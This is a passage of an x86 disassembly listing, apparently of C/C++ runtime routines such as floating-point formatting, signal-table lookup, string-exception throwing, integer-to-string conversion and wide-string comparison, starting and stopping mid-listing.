sub_425973+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425AF9 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425AFC jmp loc_4259EA ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: sub_425973+173j mov edi, [ebp+arg_C] loc_425AFC: ; CODE XREF: sub_425973+17Fj cmp edi, 15h jle short loc_425B04 push 15h pop edi loc_425B04: ; CODE XREF: sub_425973+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425B1A: ; CODE XREF: sub_425973+1B4j lea eax, [ebp+var_10] push eax call sub_425380 dec [ebp+arg_14] pop ecx jnz short loc_425B1A test esi, esi jge short loc_425B44 neg esi and esi, 0FFh jle short loc_425B44 loc_425B37: ; CODE XREF: sub_425973+1CFj lea eax, [ebp+var_10] push eax call sub_4253AE dec esi pop ecx jnz short loc_425B37 loc_425B44: ; CODE XREF: sub_425973+1B8j ; sub_425973+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425BA1 mov [ebp+arg_C], ecx loc_425B54: ; CODE XREF: sub_425973+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_425380 lea eax, [ebp+var_10] push eax call sub_425380 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425322 lea eax, [ebp+var_10] push eax call sub_425380 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425B54 mov eax, [ebp+arg_14] loc_425BA1: ; CODE XREF: sub_425973+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425BDE loc_425BAE: ; CODE XREF: sub_425973+248j cmp eax, ecx jb short loc_425BC1 cmp byte ptr [eax], 39h jnz short loc_425BBD mov byte ptr [eax], 30h dec eax jmp short loc_425BAE ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: sub_425973+242j cmp eax, ecx jnb short loc_425BC5 loc_425BC1: ; CODE XREF: sub_425973+23Dj inc eax inc word ptr [ebx] loc_425BC5: ; CODE XREF: sub_425973+24Cj inc byte ptr [eax] loc_425BC7: ; CODE XREF: sub_425973+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425BD6: ; CODE XREF: sub_425973+F0j mov eax, [ebp+var_4] loc_425BD9: ; CODE XREF: sub_425973+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425BDE: ; CODE XREF: sub_425973+239j ; sub_425973+275j cmp eax, ecx jb short loc_425BEE cmp byte ptr [eax], 30h jnz short loc_425BEA dec eax jmp short loc_425BDE ; --------------------------------------------------------------------------- loc_425BEA: ; CODE XREF: sub_425973+272j cmp eax, ecx jnb short loc_425BC7 loc_425BEE: ; CODE XREF: sub_425973+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425BFD: ; CODE XREF: sub_425973+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425BD9 sub_425973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C6D dec eax dec eax jz short loc_425C5E sub eax, 4 jz short loc_425C5E sub eax, 3 jz short loc_425C5E sub eax, 4 jz short loc_425C51 sub eax, 6 jz short loc_425C44 dec eax jz short loc_425C37 or eax, 0FFFFFFFFh jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_425C06+27j mov esi, dword_4DC004 mov eax, offset dword_4DC004 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C44: ; CODE XREF: sub_425C06+24j mov esi, dword_4DC000 mov eax, offset dword_4DC000 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C51: ; CODE XREF: sub_425C06+1Fj mov esi, dword_4DC008 mov eax, offset dword_4DC008 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C5E: ; CODE XREF: sub_425C06+10j ; sub_425C06+15j ... push edi call sub_425D33 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_425C06+Cj mov esi, dword_4DBFFC mov eax, offset dword_4DBFFC loc_425C78: ; CODE XREF: sub_425C06+3Cj ; sub_425C06+49j ... cmp esi, 1 jnz short loc_425C84 xor eax, eax jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C84: ; CODE XREF: sub_425C06+75j test esi, esi jnz short loc_425C8F push 3 call sub_41C1A2 loc_425C8F: ; CODE XREF: sub_425C06+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425CA1 cmp edi, 0Bh jz short loc_425CA1 cmp edi, 4 jnz short loc_425CC7 loc_425CA1: ; CODE XREF: sub_425C06+8Fj ; sub_425C06+94j mov ebx, dword_4DBE9C and dword_4DBE9C, 0 cmp edi, ecx jnz short loc_425CF6 mov edx, dword_43D4CC mov dword_43D4CC, 8Ch mov [ebp+arg_0], edx jmp short loc_425CCA ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425C06+99j mov ebx, [ebp+arg_0] loc_425CCA: ; CODE XREF: sub_425C06+BFj cmp edi, ecx jnz short loc_425CF6 mov eax, dword_43D4C0 mov ecx, dword_43D4C4 add ecx, eax cmp eax, ecx jge short loc_425CFD lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43D450h[edx*4] loc_425CEB: ; CODE XREF: sub_425C06+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425CEB jmp short loc_425CFD ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425C06+AAj ; sub_425C06+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425D0B loc_425CFD: ; CODE XREF: sub_425C06+D7j ; sub_425C06+EEj push dword_43D4CC push 8 call esi pop ecx pop ecx jmp short loc_425D19 ; --------------------------------------------------------------------------- loc_425D0B: ; CODE XREF: sub_425C06+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425D19 cmp edi, 4 jnz short loc_425D2C loc_425D19: ; CODE XREF: sub_425C06+103j ; sub_425C06+10Cj cmp edi, 8 mov dword_4DBE9C, ebx jnz short loc_425D2C mov eax, [ebp+arg_0] mov dword_43D4CC, eax loc_425D2C: ; CODE XREF: sub_425C06+111j ; sub_425C06+11Cj xor eax, eax pop ebx loc_425D2F: ; CODE XREF: sub_425C06+2Cj ; sub_425C06+79j pop edi pop esi pop ebp retn sub_425C06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D33 proc near ; CODE XREF: sub_425C06+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D44C, edx push esi mov eax, offset dword_43D448 jz short loc_425D61 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_425D55: ; CODE XREF: sub_425D33+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D61 cmp [eax+4], edx jnz short loc_425D55 loc_425D61: ; CODE XREF: sub_425D33+16j ; sub_425D33+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_425D75 cmp [eax+4], edx jz short locret_425D77 loc_425D75: ; CODE XREF: sub_425D33+3Bj xor eax, eax locret_425D77: ; CODE XREF: sub_425D33+40j retn sub_425D33 endp ; =============== S U B R O U T I N E ======================================= sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp ; sub_4251BB+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 jnb short loc_425DDF mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DDF mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425DB8 and cl, 7Fh jmp short loc_425DC5 ; --------------------------------------------------------------------------- loc_425DB8: ; CODE XREF: sub_425D78+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DD3 or cl, 80h loc_425DC5: ; CODE XREF: sub_425D78+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DD3: ; CODE XREF: sub_425D78+48j mov dword_4DBDDC, 16h jmp short loc_425DE9 ; --------------------------------------------------------------------------- loc_425DDF: ; CODE XREF: sub_425D78+Bj ; sub_425D78+27j mov dword_4DBDDC, 9 loc_425DE9: ; CODE XREF: sub_425D78+65j or eax, 0FFFFFFFFh pop esi retn sub_425D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DEE proc near ; CODE XREF: sub_425973+165p ; sub_42600E+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425FEE cmp cx, 7FFFh jnb loc_425FEE cmp dx, 0BFFDh ja loc_425FEE cmp dx, 3FBFh ja short loc_425E57 xor eax, eax jmp short loc_425E91 ; --------------------------------------------------------------------------- loc_425E57: ; CODE XREF: sub_425DEE+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E79 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E79 xor eax, eax cmp [esi+4], eax jnz short loc_425E7B cmp [esi], eax jnz short loc_425E7B jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_425E79: ; CODE XREF: sub_425DEE+71j ; sub_425DEE+79j xor eax, eax loc_425E7B: ; CODE XREF: sub_425DEE+80j ; sub_425DEE+84j cmp cx, ax jnz short loc_425E9E inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425E9E cmp [ebx+4], eax jnz short loc_425E9E cmp [ebx], eax jnz short loc_425E9E loc_425E91: ; CODE XREF: sub_425DEE+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426009 ; --------------------------------------------------------------------------- loc_425E9E: ; CODE XREF: sub_425DEE+90j ; sub_425DEE+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425EAE: ; CODE XREF: sub_425DEE+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F02 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425ECA: ; CODE XREF: sub_425DEE+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425EF5 mov eax, [ebp+var_4] inc word ptr [eax] loc_425EF5: ; CODE XREF: sub_425DEE+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425ECA loc_425F02: ; CODE XREF: sub_425DEE+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425EAE add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F45 loc_425F20: ; CODE XREF: sub_425DEE+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F3E lea eax, [ebp+var_24] push eax call sub_425380 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425F20 loc_425F3E: ; CODE XREF: sub_425DEE+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F7E loc_425F45: ; CODE XREF: sub_425DEE+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F7E movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F5E: ; CODE XREF: sub_425DEE+184j test byte ptr [ebp+var_24], 1 jz short loc_425F67 inc [ebp+var_14] loc_425F67: ; CODE XREF: sub_425DEE+174j lea eax, [ebp+var_24] push eax call sub_4253AE dec ebx pop ecx jnz short loc_425F5E cmp [ebp+var_14], 0 jz short loc_425F7E or byte ptr [ebp+var_24], 1 loc_425F7E: ; CODE XREF: sub_425DEE+155j ; sub_425DEE+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425F95 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FCA loc_425F95: ; CODE XREF: sub_425DEE+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FC7 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FC2 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FBC inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FBC: ; CODE XREF: sub_425DEE+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: sub_425DEE+1B5j inc [ebp+var_20+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425DEE+1ABj inc [ebp+var_24+2] loc_425FCA: ; CODE XREF: sub_425DEE+1A5j ; sub_425DEE+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425FEE mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425FE8: ; CODE XREF: sub_425DEE+86j mov [esi+0Ah], ax jmp short loc_426009 ; --------------------------------------------------------------------------- loc_425FEE: ; CODE XREF: sub_425DEE+42j ; sub_425DEE+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426009: ; CODE XREF: sub_425DEE+ABj ; sub_425DEE+1FEj pop edi pop esi pop ebx leave retn sub_425DEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42600E proc near ; CODE XREF: sub_4254A2+440p ; sub_425973+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D828 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426087 jge short loc_426036 mov eax, [ebp+arg_4] mov ebx, offset dword_43D988 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426036: ; CODE XREF: sub_42600E+16j cmp [ebp+arg_8], ecx jnz short loc_426041 mov eax, [ebp+arg_0] mov [eax], cx loc_426041: ; CODE XREF: sub_42600E+2Bj cmp [ebp+arg_4], ecx jz short loc_426087 push esi push edi loc_426048: ; CODE XREF: sub_42600E+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_426080 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_426073 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_426073: ; CODE XREF: sub_42600E+57j push esi push [ebp+arg_0] call sub_425DEE pop ecx pop ecx xor ecx, ecx loc_426080: ; CODE XREF: sub_42600E+49j cmp [ebp+arg_4], ecx jnz short loc_426048 pop edi pop esi loc_426087: ; CODE XREF: sub_42600E+14j ; sub_42600E+36j pop ebx leave retn sub_42600E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B9C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9B3 mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: ___:004260E5p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_40D977 mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; =============== S U B R O U T I N E ======================================= sub_4260D5 proc near ; DATA XREF: ___:00427C94o ; ___:00427CA4o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4260E1 mov eax, offset dword_427688 locret_4260E1: ; CODE XREF: sub_4260D5+5j retn sub_4260D5 endp ; --------------------------------------------------------------------------- loc_4260E2: ; DATA XREF: ___:off_427C90o push esi mov esi, ecx call sub_4260BA test byte ptr [esp+8], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: ___:004260EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4260FE proc near ; CODE XREF: sub_426173+29p mov eax, offset loc_426AE2 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: ___:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: ___:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= sub_426173 proc near ; CODE XREF: sub_40D824+13p ; sub_40D9E8+Ep mov eax, offset loc_426AF4 call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4260FE push offset dword_428010 lea eax, [ebp-3Ch] push eax call sub_426587 int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D824 mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= sub_4261D0 proc near ; CODE XREF: sub_42629A+29p mov eax, offset loc_426B06 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... mov eax, offset loc_426B18 call sub_41D640 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42651A and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: ___:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: ___:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= sub_42629A proc near ; CODE XREF: sub_40D774+15p ; sub_40D7CD+15p ... mov eax, offset loc_426B2A call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427CCC call sub_426587 int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4262F6 proc near ; DATA XREF: ___:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426314: ; DATA XREF: ___:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426332: ; DATA XREF: ___:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; ___:00415771p ... nop jmp near ptr 71AB1B7Bh sub_426350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426356 proc near ; CODE XREF: sub_41D2AC+23p ; sub_41D550+13p nop jmp near ptr 2862119h sub_426356 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635C proc near ; CODE XREF: ___:0040B091p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426371 cmp [ebp+arg_0], 0 jge short loc_426371 push 1 push 0Ah jmp short loc_426376 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_42635C+7j ; sub_42635C+Dj push 0 push [ebp+arg_8] loc_426376: ; CODE XREF: sub_42635C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426389 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_42635C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426389 proc near ; CODE XREF: sub_42635C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_4263A3 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_4263A6 ; --------------------------------------------------------------------------- loc_4263A3: ; CODE XREF: sub_426389+Dj mov esi, [ebp+arg_0] loc_4263A6: ; CODE XREF: sub_426389+18j mov edi, ecx loc_4263A8: ; CODE XREF: sub_426389+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4263C4 add bl, 57h jmp short loc_4263C7 ; --------------------------------------------------------------------------- loc_4263C4: ; CODE XREF: sub_426389+34j add bl, 30h loc_4263C7: ; CODE XREF: sub_426389+39j mov [ecx], bl inc ecx test esi, esi ja short loc_4263A8 and byte ptr [ecx], 0 dec ecx loc_4263D2: ; CODE XREF: sub_426389+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4263D2 pop edi pop esi pop ebx pop ebp retn sub_426389 endp ; =============== S U B R O U T I N E ======================================= sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p ; sub_41761C+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBE84, 0 push ebx jnz short loc_42642B mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4263F7: ; CODE XREF: sub_4263E5+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426409 cmp bx, 41h jb short loc_426409 add ebx, 20h loc_426409: ; CODE XREF: sub_4263E5+19j ; sub_4263E5+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42641B cmp ax, 41h jb short loc_42641B add eax, 20h loc_42641B: ; CODE XREF: sub_4263E5+2Bj ; sub_4263E5+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42645B cmp bx, ax jz short loc_4263F7 jmp short loc_42645B ; --------------------------------------------------------------------------- loc_42642B: ; CODE XREF: sub_4263E5+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426435: ; CODE XREF: sub_4263E5+72j mov ax, [esi] inc esi push eax inc esi call sub_4265C1 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4265C1 pop ecx test bx, bx pop ecx jz short loc_426459 cmp bx, ax jz short loc_426435 loc_426459: ; CODE XREF: sub_4263E5+6Dj pop edi pop esi loc_42645B: ; CODE XREF: sub_4263E5+3Dj ; sub_4263E5+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4263E5 endp ; =============== S U B R O U T I N E ======================================= sub_426465 proc near ; CODE XREF: sub_41843B+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648C push esi call sub_41B9C0 inc eax push eax call sub_41BEB5 pop ecx test eax, eax pop ecx jz short loc_42648C push esi push eax call sub_41C890 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648C: ; CODE XREF: sub_426465+7j ; sub_426465+1Aj xor eax, eax pop esi retn sub_426465 endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: ___:004264A8p mov dword ptr [ecx], offset off_427CEC mov ecx, [ecx+4] test ecx, ecx jz short locret_4264A4 push ecx call sub_41BA91 pop ecx locret_4264A4: ; CODE XREF: sub_426490+Bj retn sub_426490 endp ; --------------------------------------------------------------------------- loc_4264A5: ; DATA XREF: ___:off_427CECo push esi mov esi, ecx call sub_426490 test byte ptr [esp+8], 1 jz short loc_4264BB push esi call sub_41D65F pop ecx loc_4264BB: ; CODE XREF: ___:004264B2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4264C1: ; DATA XREF: ___:off_427CF4o push esi mov esi, ecx call sub_426564 test byte ptr [esp+8], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: ___:004264CEj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp ; sub_4261D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 push dword ptr [edi] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42650C push dword ptr [edi] push eax call sub_41C890 pop ecx pop ecx loc_42650C: ; CODE XREF: sub_4264DD+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_4264DD endp ; =============== S U 